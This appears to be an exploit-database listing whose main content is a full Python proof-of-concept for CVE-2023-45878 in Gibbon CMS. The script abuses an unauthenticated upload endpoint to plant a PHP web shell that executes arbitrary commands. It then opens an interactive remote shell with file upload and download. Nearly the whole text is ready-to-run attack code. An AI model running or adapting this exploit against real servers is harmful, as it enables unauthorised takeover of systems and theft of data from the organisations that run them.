Exploit database

GH-e33cbc3247d085b47625aabde06b1137

can0i0ever0enter/cve-2023-45878

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-45878

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
can0i0ever0enter/cve-2023-45878Revision 74577b793842

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-45878.py

Suggested starting filePython · 15,803 bytes
#!/usr/bin/env python3

import argparse
import base64
import os
import re
import random
import signal
import string
import sys
from io import StringIO
from dataclasses import dataclass
from pathlib import Path
from typing import Optional, Dict, Tuple, Callable

import requests
from requests.adapters import HTTPAdapter, Retry
from urllib.parse import urljoin, urlparse

from rich import box
from rich.console import Console
from rich.panel import Panel
from rich.prompt import Prompt
from rich.table import Table
from rich.text import Text

try:
    from prompt_toolkit import PromptSession
    from prompt_toolkit.history import InMemoryHistory
    from prompt_toolkit.formatted_text import ANSI
    PTK_AVAILABLE = True
except ImportError:
    PTK_AVAILABLE = False
    try:
        import readline
    except ImportError:
        readline = None

VULNERABLE_ENDPOINT = "modules/Rubrics/rubrics_visualise_saveAjax.php"
DEFAULT_TIMEOUT = 20
EXIT_COMMANDS = {"exit", "exit()", "quit"}

console = Console()
session = PromptSession()

def signal_handler(signum, frame):
    console.print("\n[yellow]Interrupted by user. Exiting...[/yellow]")
    sys.exit(0)


signal.signal(signal.SIGINT, signal_handler)


def generate_random_string(length: int = 8) -> str:
    alphabet = string.ascii_lowercase + string.digits
    return "".join(random.choice(alphabet) for _ in range(length))
    
    
def strip_errno(msg: str) -> str:
    return re.sub(r'^\[Errno\s*\d+\]\s*', '', msg)
    
def rich_to_ansi(rich_obj: "rich.text.Text") -> str:
    buf = StringIO()
    temp = Console(file=buf, force_terminal=True, color_system="truecolor")
    temp.print(rich_obj, end="")
    return buf.getvalue()


@dataclass
class ExploitConfig:
    base_url: str
    shell_path: Path
    verify_tag: str
    timeout: int = DEFAULT_TIMEOUT

    def __post_init__(self):
        if not self.base_url.endswith("/"):
            self.base_url += "/"
        parsed = urlparse(self.base_url)
        if not parsed.scheme or not parsed.netloc:
            raise ValueError(f"Invalid URL: {self.base_url}")

    @property
    def exploit_url(self) -> str:
        return urljoin(self.base_url, VULNERABLE_ENDPOINT)

    @property
    def shell_url(self) -> str:
        return urljoin(self.base_url, str(self.shell_path))


class HTTPClient:
    def __init__(self, timeout: int):
        self.timeout = timeout
        self.session = requests.Session()
        retries = Retry(
            total=3,
            backoff_factor=0.5,
            status_forcelist=[429, 500, 502, 503, 504],
            allowed_methods=["GET", "POST"],
        )
        adapter = HTTPAdapter(max_retries=retries)
        self.session.mount("http://", adapter)
        self.session.mount("https://", adapter)

    def get(self, url: str, params: dict = None) -> requests.Response:
        return self.session.get(url, params=params or {}, timeout=self.timeout)

    def post(self, url: str, data: dict) -> requests.Response:
        return self.session.post(
            url,
            data=data,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=self.timeout,
        )


class GibbonExploit:
    def __init__(self, config: ExploitConfig):
        self.config = config
        self.client = HTTPClient(config.timeout)
        php = (
            f'<?php echo "{config.verify_tag}";'
            ' if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>'
        )
        self.payload_b64 = base64.b64encode(php.encode()).decode()

        self.local_cwd = Path.cwd()
        self.remote_cwd: Optional[str] = None
        self.remote_host: Optional[str] = None
        self.is_windows = False
        
        if PTK_AVAILABLE:
            self._ptk_session = PromptSession(history=InMemoryHistory())
        else:
            self._ptk_session = None
            
        self.commands: Dict[str, Tuple[Callable[..., None], str]] = {
            "help":     (self.cmd_help,     "Show this help message"),
            "upload":   (self.cmd_upload,   "Upload local file: !upload <local> [remote]"),
            "download": (self.cmd_download, "Download remote file: !download <remote> [local]"),
            "lcd":      (self.cmd_lcd,      "Change local directory: !lcd <path>"),
            "ldir":     (self.cmd_ldir,     "List local directory: !ldir [path]"),
        }

    def upload_shell(self) -> bool:
        console.print(f"[cyan]→ Uploading shell to {self.config.exploit_url}[/cyan]")
        data = {
            "img": f"image/png;exploit,{self.payload_b64}",
            "path": str(self.config.shell_path),
            "gibbonPersonID": "1",
        }
        try:
            resp = self.client.post(self.config.exploit_url, data=data)
            resp.raise_for_status()
        except requests.RequestException as e:
            console.print(f"[red]× Upload error: {e}[/red]")
            return False

        try:
            js = resp.json()
            if js.get("error"):
                console.print(f"[red]× Server error: {js['error']}[/red]")
                return False
        except ValueError:
            pass

        console.print("[green]✔ Upload request sent (HTTP 200).[/green]")
        return True

    def verify_shell(self, silent: bool = False) -> bool:
        if not silent:
            console.print(f"[cyan]→ Verifying shell at {self.config.shell_url}[/cyan]")
        try:
            resp = self.client.get(self.config.shell_url, params={"cmd": "echo"})
            if resp.status_code == 200 and self.config.verify_tag in resp.text:
                if not silent:
                    console.print("[green]✔ Shell is live.[/green]")
                return True
        except requests.RequestException:
            pass
        if not silent:
            console.print(f"[red]× Shell verification failed.[/red]")
        return False

    def execute(self, command: str) -> Optional[str]:
        try:
            resp = self.client.get(self.config.shell_url, params={"cmd": command})
            resp.raise_for_status()
            out = resp.text
            if out.startswith(self.config.verify_tag):
                return out[len(self.config.verify_tag) :].strip()
            return out.strip()
        except requests.RequestException as e:
            console.print(f"[red]× Execution error: {e}[/red]")
            return None

    def read_remote_file(self, remote: str) -> Optional[bytes]:
        if self.is_windows:
            cmd = (
                f'powershell -NoProfile -Command '
                f'"[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{remote}\'))"'
            )
        else:
            cmd = f"base64 \"{remote}\""
        b64 = self.execute(cmd)
        if not b64:
            return None
        try:
            return base64.b64decode("".join(b64.split()))
        except (base64.binascii.Error) as e:
            console.print(f"[red]× Base64 decode error: {e}[/red]")
            return None

    def cmd_help(self, *args):
        table = Table(show_header=True, header_style="bold cyan")
        table.add_column("Command", style="green")
        table.add_column("Description", style="magenta")
        for name, (_, desc) in self.commands.items():
            table.add_row(f"!{name}", desc)
        console.print(table)

    def cmd_upload(self, *args):
        if not args:
            console.print("[yellow]Usage: !upload <local> [remote][/yellow]")
            return
        local = Path(args[0]).expanduser()
        if not local.is_file():
            console.print(f"[red]× Local file not found: {local}[/red]")
            return
        remote = args[1] if len(args) > 1 else local.name
        blob = local.read_bytes()
        b64 = base64.b64encode(blob).decode()
        data = {
            "img": f"application/octet-stream;exploit,{b64}",
            "path": remote,
            "gibbonPersonID": "1",
        }
        try:
            resp = self.client.post(self.config.exploit_url, data=data)
            resp.raise_for_status()
            console.print(f"[green]✔ Uploaded {local} → {remote}[/green]")
        except requests.RequestException as e:
            console.print(f"[red]× Upload error: {e}[/red]")

    def cmd_download(self, *args):
        if not args:
            console.print("[yellow]Usage: !download <remote> [local][/yellow]")
            return
        remote = args[0]
        local = Path(args[1]) if len(args) > 1 else Path(Path(remote).name)
        data = self.read_remote_file(remote)
        if data is None:
            console.print(f"[red]× Failed to download: {remote}[/red]")
            return
        try:
            local.write_bytes(data)
            console.print(f"[green]✔ Saved to {local}[/green]")
        except OSError as e:
            console.print(f"[red]× Write error: {strip_errno(str(e))}[/red]")

    def cmd_lcd(self, *args):
        target = Path(args[0]).expanduser() if args else Path.home()
        if not target.is_absolute():
            target = (self.local_cwd / target).resolve()
        try:
            os.chdir(target)
            self.local_cwd = Path.cwd()
            console.print(f"[green]✔ Local cwd: {self.local_cwd}[/green]")
        except OSError as e:
            console.print(f"[red]× {strip_errno(str(e))}[/red]")

    def cmd_ldir(self, *args):
        target = Path(args[0]).expanduser() if args else self.local_cwd
        if not target.is_absolute():
            target = (self.local_cwd / target).resolve()

        if not target.exists():
            console.print(f"[red]× Not found: {target}[/red]")
            return
        if not target.is_dir():
            console.print(f"[yellow]Not a directory: {target}[/yellow]")
            return

        table = Table(show_header=True, header_style="bold cyan")
        table.add_column("Name", style="magenta")
        table.add_column("Type", style="green", width=20)

        try:
            entries = sorted(target.iterdir())
        except PermissionError as e:
            console.print(f"[red]× Permission denied: {e}[/red]")
            return

        for entry in entries:
            try:
                is_dir = entry.is_dir()
                name = entry.name + ("/" if is_dir else "")
                kind = "DIR" if is_dir else "FILE"
            except PermissionError as e:
                name = entry.name
                reason = e.strerror or str(e)
                kind = f"UNKNOWN - {reason}"

            table.add_row(name, kind)

        console.print(table)

    def interactive(self):
        console.print(Panel.fit("[bold]Interactive Shell Mode[/bold]", style="blue"))

        banner = self.execute("ver")
        self.is_windows = bool(banner and "Windows" in banner)
        self.remote_cwd = self.execute("cd" if self.is_windows else "pwd") or ""
        self.remote_host = self.execute("hostname") or ""

        while True:
            user = self.execute("whoami") or "?"
            prompt_text = Text.assemble(
                (user, "green"),
                "@",
                (self.remote_host, "cyan"),
                ":",
                (self.remote_cwd, "yellow"),
                "$ ",
            )
            ansi_prompt = ANSI(rich_to_ansi(prompt_text))
            try:
                line = session.prompt(ansi_prompt).strip()
            except (KeyboardInterrupt, EOFError):
                console.print("\n[yellow]Exiting interactive mode…[/yellow]")
                break

            line = line.strip()
            if not line:
                continue
            if line.lower() in EXIT_COMMANDS:
                console.print("[yellow]Exiting interactive mode...[/yellow]")
                break

            if line.startswith("!"):
                cmd, *argv = line[1:].split()
                if cmd in self.commands:
                    self.commands[cmd][0](*argv)
                else:
                    console.print(f"[red]Unknown command: {cmd}[/red]")
                continue

            if line.startswith("cd "):
                target = line[3:].strip().strip('"')
                if self.is_windows:
                    change = f'cd /d "{self.remote_cwd}" && cd "{target}"'
                    suffix = " && cd"
                else:
                    change = f'cd "{self.remote_cwd}" && cd "{target}"'
                    suffix = " && pwd"
                new_dir = self.execute(change + suffix)
                if new_dir:
                    self.remote_cwd = new_dir.strip()
                else:
                    console.print(f"[red]Directory not found: {target}[/red]")
                continue

            if self.is_windows:
                prefix = f'cd /d "{self.remote_cwd}" && '
            else:
                prefix = f'cd "{self.remote_cwd}" && '
            out = self.execute(prefix + line)
            console.print(out or "[red]Error or empty output[/red]")



def parse_arguments() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Gibbon CMS CVE-2023-45878 Exploit (unauthenticated RCE via upload)",
        formatter_class=argparse.RawTextHelpFormatter,
    )
    parser.add_argument("target", help="Base URL of Gibbon (e.g. http://example.com/gibbon)")
    parser.add_argument("-s", "--shell-path", help="Path/filename for uploaded shell (default: random).")
    parser.add_argument("-t", "--tag", default="ExploitGibbon", help="Verification tag (default: ExploitGibbon).")
    parser.add_argument("-v", "--verify", action="store_true", help="Only verify existing shell.")
    parser.add_argument("-i", "--interactive", action="store_true", help="Enter interactive mode.")
    parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, help="HTTP timeout, sec.")
    return parser.parse_args()


def main():
    args = parse_arguments()

    target = args.target if urlparse(args.target).scheme else f"http://{args.target}"
    shell_name = args.shell_path or (generate_random_string() + ".php")
    shell_path = Path(shell_name)

    config = ExploitConfig(
        base_url=target,
        shell_path=shell_path,
        verify_tag=args.tag,
        timeout=args.timeout,
    )
    exploit = GibbonExploit(config)

    tbl = Table(box=box.SIMPLE_HEAVY)
    tbl.add_column("Parameter", style="bold cyan")
    tbl.add_column("Value", style="magenta")
    tbl.add_row("Target", config.base_url)
    tbl.add_row("Shell path", str(config.shell_path))
    tbl.add_row("Verify tag", config.verify_tag)
    console.print(Panel(tbl, title="Gibbon CVE-2023-45878 Exploit"))

    pre_ok = False
    if args.verify or args.interactive:
        console.print("[cyan]→ Pre-check existing shell...[/cyan]")
        pre_ok = exploit.verify_shell(silent=True)
        if pre_ok:
            console.print(f"[green]✔ Shell already at {config.shell_url}[/green]")
        else:
            console.print("[yellow]– No shell found, will attempt upload.[/yellow]")

    uploaded = pre_ok or exploit.upload_shell()
    if not uploaded:
        console.print("[red]× Exploit failed.[/red]")
        sys.exit(1)

    verified = pre_ok or exploit.verify_shell()
    if not verified:
        console.print("[red]× Shell did not respond. Проверьте PHP.[/red]")
        if not args.interactive:
            sys.exit(1)

    if args.interactive:
        exploit.interactive()
    else:
        console.print("[green]✔ Done![/green]")
        console.print("Use the following commands:")
        console.print(f"  - Verify only: python {sys.argv[0]} {config.base_url} -s {shell_name} -t {args.tag} -v")
        console.print(f"  - Interactive: python {sys.argv[0]} {config.base_url} -s {shell_name} -t {args.tag} -i")


if __name__ == "__main__":
    main()